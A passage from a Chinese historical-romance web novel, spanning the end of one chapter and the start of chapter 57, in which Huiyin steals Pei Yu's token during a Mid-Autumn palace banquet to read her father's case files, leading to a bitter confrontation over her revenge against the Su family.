上前缓缓拥住他,轻声抚慰,“国家内忧外患,实乃不得已为之,你莫要放在心上。” “殿下性格坚毅,去了匈奴也会逢凶化吉的。” 裴彧动了动眼珠,松开徽音的手掌,语气平静,“睢阳非你亲妹,与你无甚血缘关系,她的死活,你自然不上心。” 徽音不可置信的抬眼,望着裴彧冷漠的脸色,生气道:“睢阳虽非我亲妹,可我也心疼她,今日我亦尽了最大的努力。我知晓你难过,想说些话宽慰于你,你为何要这样伤我?” 裴彧沉默的和徽音对视,脸色绷紧,良久,他率先移目光起离去。 “近来营中有事,最近不回了。” “裴彧!” 徽音望着他离去的身影,心绪难平。 裴彧说到做到,一连十日真的未曾回府,也不曾给徽音递来只言片语。睢阳和亲一事已经敲定,大鸿胪正热火朝天的准备公主和亲的礼仪。 这十日里,裴彧似乎是抱着鱼死网破的死心,叫人一连参了郑家和吴王好几天,其中还涉及了宫中的郑妃。 徽音待在裴府中,听着裴夫人的抱怨,抱怨他行事冲动到处得罪人。她安静的听着没有接话,心中很清楚,他心口憋着一股气,不撒出来,难受的紧。 陛下心中对睢阳和皇后有愧,又知晓和亲一事郑家在其中的动了手脚,为了安抚裴彧,默许了他的动作,折了郑家不少党羽。 徽音从贺佳莹口中听闻这些消息,心中更加郁闷,她只觉得现下和裴彧的关系太奇怪了。 她不想和裴彧吵架,更不想和他冷战。有些疙瘩,必须要明明白白的摊开说清楚。可裴彧躲着她,不见她。 徽音以为裴彧是因为她对于裴彧身边的亲朋态度过于冷淡生气,是以这些时日,她一改往日的性子,每天都去裴夫人的住所陪她说会话,府内的琐碎事务也帮着处理。 她每日都会吩咐人去给裴彧送吃食和衣物,让人问问他什么时候回府。裴彧倒是有回口信,只是态度冷淡,说近日公务繁忙,暂时不回了。 前些时日郭夫人派了媒人上门提亲,贺佳莹和郭廉的亲事已经定下,只是这些时日长安风气紧才没有透露出来。 他二人的婚期定在明年夏日,裴夫人这些时日病也好了不少,大病一场后她也想通了,万事不管,身体也渐渐圆润起来。 徽音受裴衍的嘱托去见了裴夫人,亲自向她说明上官素一事,又安排两人私下见了一面。 裴夫人虽还是嫌弃上官素出身,但见她进退有礼,脾性温和,小儿子又喜欢的紧,也没再说什么阻止两人不在一起的话。 徽音望着裴衍难以抑制的笑意,他满心满眼都是身侧的上官素,直将人看得不好意思,羞涩的低下头。她突然想起来,曾几何时,也有人拿这种眼神看过她。 裴夫人看不过裴彧一副痴汉模样,连连挥手将人赶走。 徽音独自回了临水阁,是夜,她一个人躺在床上,望着月色,心绪寂寥。裴彧已经半月未归了,如今大事已定,他根本没什么可忙的,他在躲她,不想见她。 徽音胸口憋着一股气,搅得她睡着不安宁,索性起身来到窗口,望着院中发呆。 初秋的夜里有些凉,徽音裹上外衣,撑着脑袋发呆。裴彧还在生气中,她有些无奈的叹口气,其实那日她的态度也有些不好。 睢阳和亲裴彧心中难受,难免会有些脾气不好,她应该更软和些才对。 她很想他,两人在一起过日子,总要有个人先服软的。 徽音下定决心也不再犹豫,她想好了,她要把一切和裴彧和盘托出。 裴彧的心结在于她瞒着他的那件事情,徽音以前是不敢告诉他,担心裴彧会阻止她报仇,维护苏家。 平嵘死的那天夜里,他说不能动苏家。不可避免的在徽音留下介意痕迹。但她想起裴彧毫不犹豫帮她杀平嵘一事,突然就不想瞒了。 裴彧只是不知道而已,他只是疑惑自己要杀苏侑是因为萧纷儿,这才不愿。如果他知道苏家是自己的杀父仇人,也许就会改变看法。 她不求裴彧能帮他报仇,不求裴彧能站在他这边,只希望他保持中立,不帮她,也不要去帮苏家。 徽音提笔写信,约裴彧回府见面,她要亲自向裴彧坦白。她不想再欺骗裴彧,更不想盗取他的令牌借中秋宴进天禄书阁,她不想和裴彧走到决裂的那个地步。 她想要告诉裴彧她的一切过往和秘密,让裴彧亲自带她进天禄书阁,为父亲翻案。 也是在此刻,徽音才清晰的知道,她心底里有着强烈的愿望,她是想和裴彧共度一生的。 她喜欢裴彧,毋庸置疑。 徽音写完信,在床上翻来覆去睡不着,一夜睁眼到天亮,天刚刚灰蒙蒙亮,她就精神奕奕的起身,吩咐阿蘅拿着她的手书去把裴彧请回府。 她像个出嫁的新娘子一般,焦躁不安的等着裴彧回府。在等待的时间里,她把颜娘叫上来好生梳妆打扮一番,端端正正在一楼等着裴彧。 可她没能等来裴彧,阿蘅对她说,“卫所的士兵说,昨夜少将军接了来自青州的急信,寅夜带着驰近卫他们出城去了青州。” 徽音面露失望:“可有说何时归?” 距离中秋夜宴只有七日,她必须在中秋夜前找到裴彧坦白。 阿蘅:“约莫需要四五日。” 徽音失落的点点头,“我知晓了,你下去吧。” 她坐在堂中,面前的佳肴早放凉,徽音刻意叫人做了些裴彧爱吃的菜,想着等他回来一起用饭,没想到他出城了,还去青州。 她也没甚心思再叫人拿下去热,索性就这冷饭冷菜吃了起来。 青州这个节骨眼上会有什么急事如此着急,裴彧连要离京的口信都未传回。 饭菜放凉有些油腻,徽音吃了两口就有些犯恶心,索性拿了块藜麦饼慢吞吞的咬着。 余光看见颜娘坐在屋外,手中拿着一块烟色料子,像是在给她做锦帕。 徽音咬饼的动作一顿,她好像从来没未裴彧做过什么。以前她阿父身上的衣物都是阿母亲手缝制,从里到外无一俱全。 徽音咬着饼神游天外,她女工尚可,说不上好也说不上坏,绣个香囊什么的太简单了,不如绣条腰带。 腰带是贴身的私密物品,环绕于腰际。女子若将其送给男子,是表达爱慕之意。男子如果接受了这份礼物,就表示他接受了女子的情意和这份承诺。 她不想叫旁人知道自己的小心思,噔噔跑上楼翻着衣橱,前几日裴夫人使人送过来的料子里,有一匹玄金织金的布料很衬裴彧。 布料被她送去制成了一套成衣,还剩些零碎的布头,用来裁剪制成腰带刚刚合适。 她亲手描了几个图样子,选了最满意的那副,照着图样在腰带上下针,同时支起耳朵听着,防止颜娘突然上楼。 以她的进度,制成一条腰带至少需要六七天的功夫,裴彧最多五天后就归,徽音只能加快进度赶制,连夜晚都假装骗颜娘说要看书,实则是偷偷赶制腰带。 夜里赶制腰带,人困犯倦,加之光线不好,不过一夜,她手指头就多了三个针孔。 颜娘问起,徽音也只是装傻说不知。 裴彧离京的第五日,贺佳莹突然风风火火的跑来临水阁,她上气不接下气,初秋的时节里满头大汗。 徽音倒了杯茶递过去,好笑道:“什么事这么着急,你都喘成什么样子了。” 贺佳莹接过茶一口饮尽,中途还呛了几声,她胡乱的拍着胸口缓过一阵劲,怒目圆睁,仰头大喊,“出大事了!你可知表兄去了青州!” 徽音替她再续了一盏茶,闻言点头,“我知道,他去青州办事去了。” 贺佳莹接过茶盏猛的放在案几上,看着徽音一无所觉的样子,忍不住道:“那你可知,青州有谁!” 徽音笑意一顿,青州,是了,柳檀嫁的就是青州董氏嫡子。徽音心口突然怦怦跳起来,她扶着案几坐下,眼神有些慌乱,胡乱翻开几卷竹简看着,强压下心中的不安。 她涩然道:“我……知道的。” 贺佳莹双手撑在桌上,一脸恨铁不成钢,“你既知道,为何还要让表兄去青州,你知不知道,他去青州是去接柳檀的!他将柳檀接回了长安,还将她一路送回了柳府!” 徽音静静地的坐在那里,身体里好像有根相接的弦断了,让她一时之间反应不过来,脑中一片空白。 贺佳莹说的每个字她都认识,可是组成的几句话,她怎么就听不懂呢。裴彧去青州是去办事的,才不是去接柳檀。 对,一定是这样。他去青州是去办事的,可是……他办的是什么事啊?徽音心中难受,她不知道。 良久,徽音才听见自己无意识回道:“许是有内情。” “还有什么内情,就算是内情,他至于亲自送人回柳府,闹得全场皆知吗,现在大家都在议论,裴家和柳家是不是好事将近,两人是不是再续前缘了!” 贺佳莹单撑着腰来回走动,一只手指指点点的,霹雳吧啦的一顿往外倒。 徽音指尖泛白,用力抓住竹简,细心呵护好的指甲也劈了叉,一股钻心的疼意直奔胸腔。 贺佳莹半响没听见她的声音,不由得回头催问:“你倒是说句话啊!” 徽音面色发白,苦笑一声:“我能说什么,他去青州都不曾知会我一声。” 贺佳莹话语戛然而止,这才发现徽音脸色白的惊人,她忙懊恼起来,“我是听外面在传,并不知道真相,说不定真有内情,你别急。” 徽音蹙起眉,死死压抑着胸口的酸意,艰难摇头,“我等他回来亲自问他,流言一事众说纷纭的,我不信。” “对对对。”贺佳莹连连点头,小心翼翼,“那我去打探打探表兄什么时候归?” 徽音没有说话,贺佳莹离开后,她闭上眼安慰自己,一定是有误会,裴彧之前说过,听见了什么,要亲自去问问,不能随意下定论。 她好不容易将心中平静下来,集中注意力去看手中的腰带,还差一点收尾。 徽音拿起针继续绣着,只是无论如何她都集中不了注意力,短短几针下去,手指头被针了两下,鲜血浸湿腰带,好在是玄色的布料,外表看不出来。 等她心不在焉的将腰带绣好,裴彧也终于回了府。徽音盯着院门口慢慢走来的熟悉身影,眼中不自觉蓄起泪。 她只半个月没见到他,此刻却觉得恍如隔世,好像他出去了很久很久。 她仰着头眨眨眼,将眼泪逼回去,笑着看向裴彧,“你回来了。” 裴彧眉眼见疲惫,眼下还有青黑,一副风尘仆仆的模样,他淡淡的应了声,径直往屋里走,捏着眉头,声音沙哑,“我先睡会。” 徽音跟在他身后,忍不住开口问,“你去青州为什么不跟我说一声。” 裴彧单手解着护腕,漫不经心的回,“事发突然,没来得及。” 徽音莫名觉得委屈,她声音有些带着哭腔,“你真的去接柳檀回京了?你去青州的要事就是她吗?” 裴彧转身,皱着眉头,“是。” 只这一字,再无其他解释。 徽音心中浮现恐慌,她能明显的感觉到自己情绪的失控,有些控制不住的生气,那源源不断涌来的妒意,让她心慌可怕。 屋外阿蘅在喊浴房的水已经备好了。裴彧听闻抬步走出门,和徽音擦肩而过。 徽音努力压下心中的难受,拉住他,仰头质问道:“你不是说你不喜她吗?” 裴彧低头,眉间皱出褶皱,“我是不喜她,这和我去青州接她有和关系?” 徽音忍无可忍,怒道:“如何无关,你不喜她,为何要将亲自去青州接她回京,还亲自将她送回府,惹得流言纷纷!” 裴彧一脸无奈,“我去青州接她是有内情,至于流言一事,你也说了是流言。外面要说些什么,我还能管到他们的嘴巴上去?” 徽音松开手,仰头望着他,漂亮的眼睛里涌出泪,“什么内情,你说,只有你说我就信。” 裴彧皱着眉头,“事关重大我不能说,我对她真的无意。” 他脸上有些不耐烦,“你能不能别在计较她了?” 徽音第一次感觉到眼泪的失控,眼眶生热,止不住的流出泪,明明她很努力的在忍了,可还是忍不住。 眼泪争先恐后的弥漫出来,遮掩她的视线,她只能看见裴彧模糊的侧脸,他低声说句什么,徽音没听见,她也不想再听了。 “你说对她无意,可你所作所为都在说你对她是有情的,你去青州不曾告诉过我,你接她回来也不曾告诉过我。在你心里,我只是一个玩物,一个讨你欢心的玩物,所以你认为这些事没必要知会我,即便我知晓后生气,你随便哄两句我就不会再介意了,因为你知道,我现在离不开你,对吗?” “从前你和柳檀流言满天飞,因是很久之前的事情,我没有跟你计较。可现在呢,你为什么总是要和她扯在一起,为什么人人都说你们郎才女貌,是我插足。你不仅澄清流言,还让它变本加厉。 徽音觉得自己此刻好想变成了话本里那些为情所困的女子,她一声声的诘问,诉说自己的委屈,“是你告诉我你对柳檀无意的,也是你说……绝不负我,你口口声声说爱我,你有平等的对待我吗?” 裴彧听着这声声的诉控,自嘲的笑笑,“那你呢,你什么都告诉我了吗?你也说爱我,那为什么背着我吃避子药?你留在我身边究竟是为了什么,图谋什么,你敢说吗?” 他说完,转身离去。 徽音望着他的背影,这些时日裴彧的不对劲在此刻全部想通,原来他早就知道了。 是她来葵水那夜,裴彧回来过。 “为什么呢?傅母,你也瞒着我。”徽音眼神空洞的坐在地上,手中紧紧攥着那条熬了好几个夜绣好的腰带。 颜娘跪在徽音身前伏地哭泣,“是奴婢擅作主张,奴婢不愿娘子留在裴府,所以才隐瞒此事,想着借此事能脱离裴府。” “您罚奴婢吧,都是奴婢的错。” “你有错,却不全是你的错。” 徽音举起手中的腰带缓缓展开,她平静的拿起剪刀,将完好的腰带剪成碎布,扔进陶灯付之一炬,空气中散发一股衣料燃烧的焦味。 “这几日好生收拾一下东西吧,一切都要结束了。” 颜娘望着徽音疲惫的步伐,眼泪止不住的往下落。 徽音起身走向内室,她有些累了,这几日为了赶制那条腰带都未曾睡好,此刻脑中混沌一片,头昏脑涨。 她伏在柔软的床上,这一觉睡得很好,久违的做了一个梦,梦中的场景很眼熟,是甘泉宫山上那片花田。梦到她和裴彧在那片花田里嬉闹,裴彧捧着她的额头,郑重允诺,说要娶她。 她看见自己眼中含情,害羞带怯的看着裴彧,满心满眼的都是他。 再一转眼,她穿着一身大红喜服站在裴府院中,院中张灯结彩,往来不断,周围都是眼熟的宾客,纷纷恭贺裴夫人得佳媳。 她看见裴彧一身喜服,艳丽的颜色将他衬得极为好看,眉目如画,嘴角挂着一抹笑意,异常温柔的朝她走来。 徽音不自觉上前两步,却和裴彧擦身而过,她愣愣的转头,却看见裴彧径直朝堂中以喜扇遮脸的新娘走去,牵着她的手开始拜堂。 两人站在堂中,接受周围亲朋好友的祝语,她看见裴彧牵住那人的手掌,满眼都是笑意。 徽音焦急的大喊:“裴彧,我在这里,你娶错人了!” 她喊了三声,裴彧才转头,满脸不耐烦的看着她,跟甘泉宫里他看着李莹月厌恶的眼神没有两样,冷声吩咐周围人将她打出去。 冷漠的声音还萦绕在耳边:“我没有娶错人。” 徽音蓦然惊醒,才发觉鼻腔难受,额头疼痛难忍,呼出的热气似要灼烧一般发烫。 不知她怎么会做这个梦,裴彧可从来没有说过娶她。 徽音烧得迷离迷糊,身子发热,不知过了多久,有人轻柔的替她擦拭身体,换上干净的衣服,又轻声哄着她吃药。 她鼻尖一酸,伸手抱住那人的颈脖,委屈的哭道:“傅母,我好难受。” 那人细心的擦干她的眼泪,指腹粗糙,不是颜娘。 徽音眼泪流的更凶了,她缓慢睁开眼,迷蒙的望着身前的人,恨声道:“我恨你。” 身前的人一顿,将人轻柔的放回床上,往她苦涩的嘴里塞了颗蜜饯,轻笑道:“我爱你。” “我不爱你,我恨你,我恨死你。” “没关系,我爱你。” 徽音闭上眼,张手去抱裴彧,紧紧抱住他失声痛哭,她贪恋这个怀抱,只要在这个怀里她就什么都不怕。 她紧紧抱住裴彧,失声痛哭,心中不停的告诫自己,这是最后一次。 第57章 血海深仇,至亲性命!你…… 一眨眼就是中秋, 南朝内忧外患,裴后为着睢阳公主和亲一事食不下咽,已经病了几日。是以此次宫宴是郑妃操持, 一切从简,只邀请了皇亲国戚和几位重臣。 徽音尚在病中, 裴彧并未派人通知她进宫,她收拾好后等在裴府大门外,看着裴彧和裴夫人相携而来。 离得近了,裴彧看见她上前问, “你不好好休息,在这里干什么?” 徽音轻声道:“妾想进宫, 看望睢阳殿下。” 裴彧走上前, 视线落在她单薄的衣裙上,微不可察的皱皱眉, “风大,先上车。” 徽音和裴彧同坐一车,裴夫人在前面那辆车上。裴彧本是要骑马进宫,看见徽音后改变了主意,他看着对面涂了口脂的徽音, 她精神气还有些不好。 “没必要非得今日进宫, 等你病养好, 我亲自带你进宫。” 徽音压抑不住咳嗽轻咳两下, 摇摇头, “今日中秋, 团圆夜,是好兆头。” 裴彧又问,“喝药了吗?” 徽音点点头, 合上眼休息,裴彧见状闭了嘴,拿目光上上下下扫着徽音,他有心想解释柳檀那事,但徽音也没跟他谈避子一事,遂张了张口,什么都没说。 因是从简布置,中秋夜宴便设在未央宫一处僻静的露台上,时值仲秋,夜凉如水,空气里浮动着桂花与初菊的清冷暗香。 露台上露天铺开了几张竹席,从上至下置了十六张黑底红纹的漆木矮案,宫人们手持熏灯驱逐蚊虫,落地烛台都罩上一层绢纱御风。 徽音跟在裴彧和裴夫人身后,今日赴宴的女眷打扮皆朴素,毕竟谁夜不想在这个节骨眼上触陛下的霉头。 连裴夫人头上都只簪了一对玉笄。徽音发饰更为简单,一对素银蝴蝶钗配一块玉梳篦,一身素色的双绕曲裾。 他们落座在太子身后,左侧有一道目光投在徽音身上,她抬眼去看,是苏静好。今日宫宴她也在场,也是一身朴素低调的打扮,安安静静的坐在太子身后,一副贤良淑德的模样,只是她投向徽音的眼底带着一丝落井下石的意味。 徽音收回视线,转头去打量其他人,今日来的还有吴王、平阳侯和几位宗室,还有两位陌生的面孔,一位约莫年过四十,面容威严,目光如矩,另一位坐在他身侧,看年轻约莫二十余岁,目光呆滞,无神的盯着面前的玉盘。 苏静好趁众人不注意靠过来,笑意盈盈的凑近徽音说道:“那为是镇南王和镇南王世子,此次来长安是履行和广陵公主的婚约,说来,这桩婚事你可出了大力。” 徽音不动声色后退,轻轻瞥了眼苏静好,没有接话。 苏静好也不生气,揽上徽音的肩侧,从旁的角度看起来两人动作极为亲密,她从徽音左侧肩膀一路抚摸至右侧,放低声音,“听闻裴彧与柳檀好事将近,你往后可怎么办啊?” 一副极为关切的语气,只是眼底幸灾乐祸的笑意再浅些就好了。 徽音拿起杯盏倒了两盏浆果饮,另一盏推给苏静好,细品果饮,平静道:“不过是努力做低附小讨好主君和主母,叫往后的日子轻松些,不然还能如何?” 苏静好一怔,盯着徽音认命的侧脸,心中发毛。她了解徽音,她绝不会轻易认命,她更明白徽音是不会给人做妾的,哪怕那人是裴彧,是她喜欢的人。 在甘泉行宫时,苏静好就看出来了,裴彧喜欢徽音,徽音亦喜欢上了裴彧。徽音留在裴彧身边是为了找扳倒苏家的证据,如今外面流言纷飞,她却丝毫不急。是胜券在握裴彧不会娶别人,还是什么? 徽音喝完一盏果饮,侧头望着苏静好,眼波流转,“很好喝,你也尝尝?” 苏静好心中突跳,放下杯盏一言不发的离开。她心中揣揣不安,徽音的态度实在奇怪,她不是一个会将希望全权寄托于旁人的人,更何况是靠不住的男人。 她掐住手心强迫自己镇定下来,抬头去打量正喝太子叙话的裴彧,他与平常看上下一模一样,就是面色要比平常冷些。看样子,裴彧依旧尚不知情苏宋两家的仇恨,他若是知道,肯定会告诉太子。 所以,徽音是真的有恃无恐,她找到了什么可以扳倒苏家的证据吗,所有才不在意裴彧是否要和其他人成亲,才这样淡定。因为她早就打定注意要离开裴彧了。 苏静好回头去看徽音,她低垂着头,半边侧脸被案角一盏青铜雁鱼灯的亮光照着,将她的的轮廓都勾勒得柔和起来。 徽音注意到她的视线,侧脸看过来,淡然一笑。 苏静好浑身冷汗淋淋,她确定徽音已经找到了足够的证据可以扳倒苏家。不,她马上就好和太子大婚,成为太子妃。绝不能容许任何人破坏她的婚事,苏静好抬眼盯着裴彧和太子,咬牙下定决心。 戌时正,陛下与皇后皆着素色常服相携而来,他们身后跟着睢阳公主和新册封的九真公主赵冬,众人皆好奇的望过去,打量这位新殿下。 皇后将这位公主找回来册封,在场人谁不知道她是要让九真替睢阳和亲,只是不知为何事情未成,最终和亲的还是睢阳。 众人看着睢阳公主有些消瘦的面容,心中五味杂着,千娇万宠长大的小公主,自幼与琅琊王氏子弟定亲,两人情投意合长安谁人不知道,没想到,造化弄人。 徽音目光跟随着睢阳,她除了消瘦一番,精神气尚好,眉间还带着淡淡的笑意。只是不知道这笑意是否是强行伪装,睢阳坐下后,向她投来安心的眼神。 徽音心中微微松了口气,低头用饭,耳尖听着陛下在上头说些冠冕堂皇之词。 案上吃食也简单,一陶盂新蒸的麦饭冒着微弱热气,一盘香甜软糯的芋头,另有一碟饱满的栗子与深红的枣子。居中是一小鼎羊肉羹,汤色清淡。 露台之下的乐师开始奏乐,他低眉信手,轻拨着琴弦。琴音疏落音色大气,令人心中开阔。 徽音数着拍子,端酒酒盏手抖一番,一杯酒完完全全泼在裴彧衣摆上,她忙掏出帕子上前替裴彧擦拭,裴彧今日入宫穿着一套浅色宽袖曲裾,污迹在袍子上异常显眼。 徽音跪着擦了几下,非但没有擦干净,反而将污迹越擦越大。裴彧看不下,扶起她坐下,将脏污的衣袍遮住,“脏了就脏了,无事。” 徽音咬着唇,为难道:“殿前不可失仪,今日吴王和平阳侯也在,让他们抓住,难免是把柄。我带了替换的衣裳,就在身后的殿中,我陪你去更衣。” 裴彧本想说不用,但他听着徽音的关怀心中发热,默默止了声,跟着她起身离开大殿。 历来宫中赴宴为了防止突发事件,都会准备两件同色的衣裳,暗地更换也没人会发现。徽音解开裴彧的腰带,帮他换下脏污的外袍,视线不动声色的落在他腰间别着的腰牌。 裴彧身量高,徽音踮脚也才到他下巴,她替裴彧穿衣,需要将衣带穿过裴彧的后腰,只能两手做环抱状,和裴彧离得极近。 徽音甚至能听见他胸膛的跳动声,一下一下砸在她耳畔。她静了静心,加快手下的动作。 裴彧一低头就能看见徽音挺翘的鼻尖,小扇般的睫毛,以及她周身萦绕的淡香。他喉结微动,忍不住身后将人抱在怀里,低头吻下去。 徽音手刚刚碰到他的腰牌上,却裴彧猝不及防的搂进怀里,惊得她心差点跳到嗓子眼,还以为裴彧发现了她的小动作,连忙撤手背在身后。 结果,裴彧只是低头轻吻她的唇角。 徽音心念一动,在他再度吻下来时侧头,主动吻上他的唇。裴彧先是一愣,而后立马抱紧徽音加深这个吻,轻轻撬开她的唇舌,细品她口中的香甜。 徽音手慢慢攀到裴彧腰间,快速解下他腰间的令牌塞入袖中。令牌到手,徽音便立马将裴彧推开,结束这个吻。 她退后一步,呼吸微喘,“你先回宴上,我整理一番。” 裴彧低声应答,毫无察觉的离开。 徽音捂着怦怦跳的心脏镇定下来,握紧那枚令牌快速出了门,朝天禄书阁而去。 裴彧独自朝大殿走去,想起徽音方才那个主动的吻,不自觉摸上唇,有些心神荡漾。 自从吵架后,这是徽音第一次对他示好,裴彧想着徽音方才闭着眼软软趴在他怀里的神情,心中一软,恨不得现在就回去和徽音开诚布公的谈一谈,不要再吵架了。 他很想很想徽音。 裴彧走到转角处,脚步一顿,面前等着两个人影,太子和苏静好。 太子拉着苏静好一脸踌躇的上前,“表兄,孤有话想对你说。” 裴彧视线从太子脸上转到低头的苏静好,他想,他大概能知道徽音一直藏着的秘密是什么了。 等他听完太子和苏静好的叙话,不禁觉得一阵好笑,他心中不住的生气一阵愤怒,不知是气苏家如此欺她,还是气她什么都不肯跟他说。 这么大的事,她不来找他帮忙,却去找冯承那个呆子,就这么相信冯承。 太子看着裴彧的脸色一阵青一阵白,咬着牙开口,“表兄,孤知道是苏家对不起宋家,可静好马上就是孤的妻子,她家犯下的错就是孤犯下的错,孤和苏家以后会尽最大的努力弥补宋徽音,你能不能叫她放弃复仇一事?” 裴彧漆黑的眼珠一转,似乎听见了什么天大的笑话,“你说什么?” 他再度道:“殿下,你知道你在说什么?” 太子有些羞愧的躲避裴彧的视线,但苏静好拉着他的衣袖一脸乞求的看着他,他不禁生出无限的勇气,强硬道:“表兄,静好是孤的太子妃,孤不许任何人伤害她。你与我是手足兄弟,定不会为了一个女人让你兄弟心生嫌隙的,对吧?” 裴彧有些控制不住自己的怒火,他盯着面前的苏静好,第一次有些控制不住的想杀人。 他压着怒意,“殿下明知苏家有错,却还要一意孤行?苏家该死,苏静好更该死!” 苏静好被着声怒喝吓住,望着裴彧暴怒的目光躲在太子身后,她好像低估了裴彧对宋徽音的在意。 太子咬着牙,“孤知道,可是孤喜欢她,自然是要护着她的。” 裴彧被这句话当头一棒的打下,在这一刻,他终于明白徽音为什么不肯跟他道明真相了。她在害怕,如果是从前的他,当太子对他说出这句话的时候,他一定会站在太子身边的。 他想起徽音好几次的欲言又止,想起平嵘死的那天晚上她问,那苏家呢? 那时自己是怎么回的,他回,苏家今后皆系于太子一身,不能动。 裴彧胸膛震碎,全身的血液一股脑涌进头顶,眼睛控制不住的发红,他要回去找徽音。 他转身时,突然发现腰间有异,那块随身携带的腰牌不见了,今日只有徽音在替他更衣的时候近过他的身。 裴彧脚步一滞,大步朝外走。他知道她去了何处。 苏静好眼看事情弄砸,朝裴彧身影大喊:“你以为宋徽音是喜欢你吗?不!她留在你身边只是为了利用你,收集苏家的罪证,她对你从来都没有真心,一直都在欺骗你!” “她亲口对我说的,她想嫁给王寰!” 裴彧没有理会身后人的发疯,他只想回到殿内,确认徽音还在不在。 徽音喜不喜欢他,对他有没有真情他还不清楚吗?徽音是喜欢他的,她不会欺骗他。 裴彧停在殿外,竟然有些不敢推门进去,他双手握拳,喉间发涩,“徽音,你在吗?” 没有动静。 裴彧不死心,加大声量,“徽音!” 还是没有动静,裴彧大步上前推开门,殿中无人,只剩他换下的脏衣坠落在地上,和他的心一样,沉入谷底。 他咬着牙朝天禄书阁走去,一路上不停的安慰自己,也许徽音已经回到了宴席上,其实他心中清楚,回宴上只有他走的那一条路。 裴彧站在天禄书阁外,望着灯火通明的三层古楼,不敢上前。 守卫发现裴彧的踪迹,上前询问,“裴将军,您怎么亲自来了?” “方才可有人拿着我的令牌前来?” 守卫回,“有一位容色极好的女郎,说来替您找一卷军书。” 守卫见裴彧脸色有异,连忙询问,“您可是令牌失窃,是那位女郎?” 裴彧:“不是,是我让她来的,见她许久未归,才亲自找来。” 守卫舒了一口气,“那就好。” 裴彧抬步进了书阁,他知道徽音的目的地,宋渭一案的卷宗都收录在此地,徽音要为父亲翻案,必然要前来查看卷宗。 他想起苏静好那一句话,“你以为宋徽音是喜欢你吗?不!她留在你身边只是为了利用你,收集苏家的罪证,她对你从来都没有真心,一直都在欺骗你!” 徽音真的一直在骗他吗?他朝二楼慢慢走过去。 —— 徽音快速的翻找着竹简,她是第一次进这书阁,虽然有告示牌,但书阁中收录的书籍太多,她一时之间竟没能找到。 她心中焦急,时间不多了,裴彧警觉,她得在他发现之前找到卷宗,否则一切就功亏一篑了。 她胡乱翻着,不慎碰到一摞竹简,徽音蹲下去慌乱收拾,余光看见楼梯口站着一双脚,吓得她惊叫一声靠在书橱柜上,心神俱动。 她等了许久,才慢慢缓过神来,发现那双鞋子很眼熟,衣袍是她亲手替裴彧穿上的。 徽音浑身僵硬,不敢动弹,深怕裴彧上前把她抓出去。 可裴彧一直没有动静,他一直站在那里,跟一具雕塑一样。 徽音来不及多想,连掉落的竹简都没有收拾,慌乱起身去翻卷宗。终于,在第三层的最里面,她看见了她父亲的名字。 徽音打开卷宗,全神眷注的翻看下去,一时间,天禄书阁内,只有她翻阅竹简的声音,在这寂静的夜里,清晰可闻。 良久,徽音将竹简一一归位,慢慢走出去。裴彧站在楼梯口,静静地的等着她。 徽音走过去,将那块令牌物归原主。 裴彧接过令牌,什么话都没有说,领着徽音一路出了天禄书阁。他没有带着徽音回到宴席上,而是一路朝宫门口走,路上招手唤了一个宫人,吩咐宫人替他向陛下告罪。 回府的路上一路沉默,裴彧没有坐马车,一路骑着马回了裴府。 到了临水阁,他将所有的人都谴下去,拉着徽音上了二楼,两人都没有出声,无声对峙。 屋子里没来得及点灯,但今日是中秋,月亮圆满且明亮,不用点灯亦能看清对方。 裴彧嗓音沙哑,“你就没有什么要同我说的?” 徽音面色很平静,一点没有东窗事发后的紧迫,“苏静好应该已经把真相告诉你了吧,我没有好说的。” “她说了很多。”裴彧逼近徽音,掐着她的下巴抬起她的头和自己对视,他咬紧牙关,“我要听你说。” 徽音反问,“你要听我说什么?” 裴彧声音突然泄了气,徽音好似从他的声音里听到了乞求,“说你对我一直是真心的。” 徽音笑起来,她很少这样开怀大笑,眼角眉梢都在向上,她通常都是抿嘴浅笑,像世家贵女那里笑不露齿。 徽音笑完,垂下眼遮住眼底的神色,语气平静却极为伤人。 “裴彧,你还要自欺欺人到什么时候。” “我对你从来都是利用,没有真心。” 裴彧握着徽音下巴的手不住的颤抖,他双手捧住徽音的脸,不敢相信的继续问,“我不信,你别说假话,好不好?” 徽音勾唇微笑,“没有假话,我说的都是真的,一开始,我向你自荐枕席就是为了利用你回到长安,后来对你小意温柔,屡屡示好都是为了取得你的信任,盗取你的腰牌进入天禄书阁。” 裴彧松开徽音,背对着她,拳头握紧吱吱作响,他声音压得极低,怒喝道:“我不信,你在骗我,你是不是还在介意……” “那你以为我为什么要服避子药。” 徽音望着裴彧的背影,毫不留情的打断他。她最明白,往裴彧哪里戳刀子最疼了,就像他曾经对她那样。 徽音看见裴彧的身体一震,甚至有些微微颤抖,他没有回头,徽音看不清他的表情。 月亮好像也蒙上一层雾,周遭清晰可闻,徽音好像听见雾珠滴落在地上的声音。 她眼中慢慢蓄起泪,盯着裴彧的身影一字一句道:“我讨厌你,讨厌你母亲,讨厌裴府,讨厌宋娘子这个名号,讨厌这里的一切!” 徽音抹去汹涌而出的眼泪,她无比庆幸裴彧现在是背对着她,看不见她眼底的狼狈。 她声音没有受眼泪影响,依旧平静,“裴彧,我没有爱过你。这些时日,我只当你和我之间是一场交易,我欺骗你的感情,也付出了应用的代价。你我之间就当两清,往后桥归桥,路归路罢。” 她说完擦干眼泪,等着裴彧的回复。 不知过了多久,徽音才听见裴彧暗沉的声音,他依旧未曾转身,身姿挺拔的站在那里,他说,“宋徽音,放弃报仇,作为补偿,我会娶你。” 徽音不知期盼过多久这句我娶你,甚至连梦里都是裴彧说要娶她的画面。可是她现在听到这句话,一点都不开心,她从来没有想过,裴彧会对她说这样的话。 徽音重复裴彧的话,“放弃报仇,作为补偿,我会娶你。” 她努力装作平静的面具在这一刻全部被撕碎,徽音恨恨的盯着裴彧,“你的妻位,我不稀罕!” 这一刻,她是真的恨他,恨他怎么能说出这样的话,那这样的话来羞辱她。 “血海深仇,至亲性命!你叫我放弃!也许人人都以做你裴彧的夫人为荣,可我宋徽音不是,你在我眼底,连我父母一根毛发都比不上。” 裴彧双目猩红的转身,他望着徽音,吐出的话语令人胆寒,“你可以拒绝,但你今后绝走不出这里一步。” “你什么意思!你要软禁我!” 裴彧没回。 徽音看着他抬步离开,面露绝望,在裴彧将要踏门而出那一刻她喊住他,放下自尊,抛开心迹寻求生路,“我爱过你的,裴彧。” 她看着裴彧脚步顿住,本应该是高兴,心中却涌起了无限的悲凉,过往那些日常化作绵绵细针刺入她的心口。 “你我之间发生的每件事我都记得,在这里,我对你第一次改观是因为我算计苏信,导致太子属官出事,那天我本以为你会狠狠责罚我,或者是将我直接赶走。可是你没有,反而告诉我没错。” 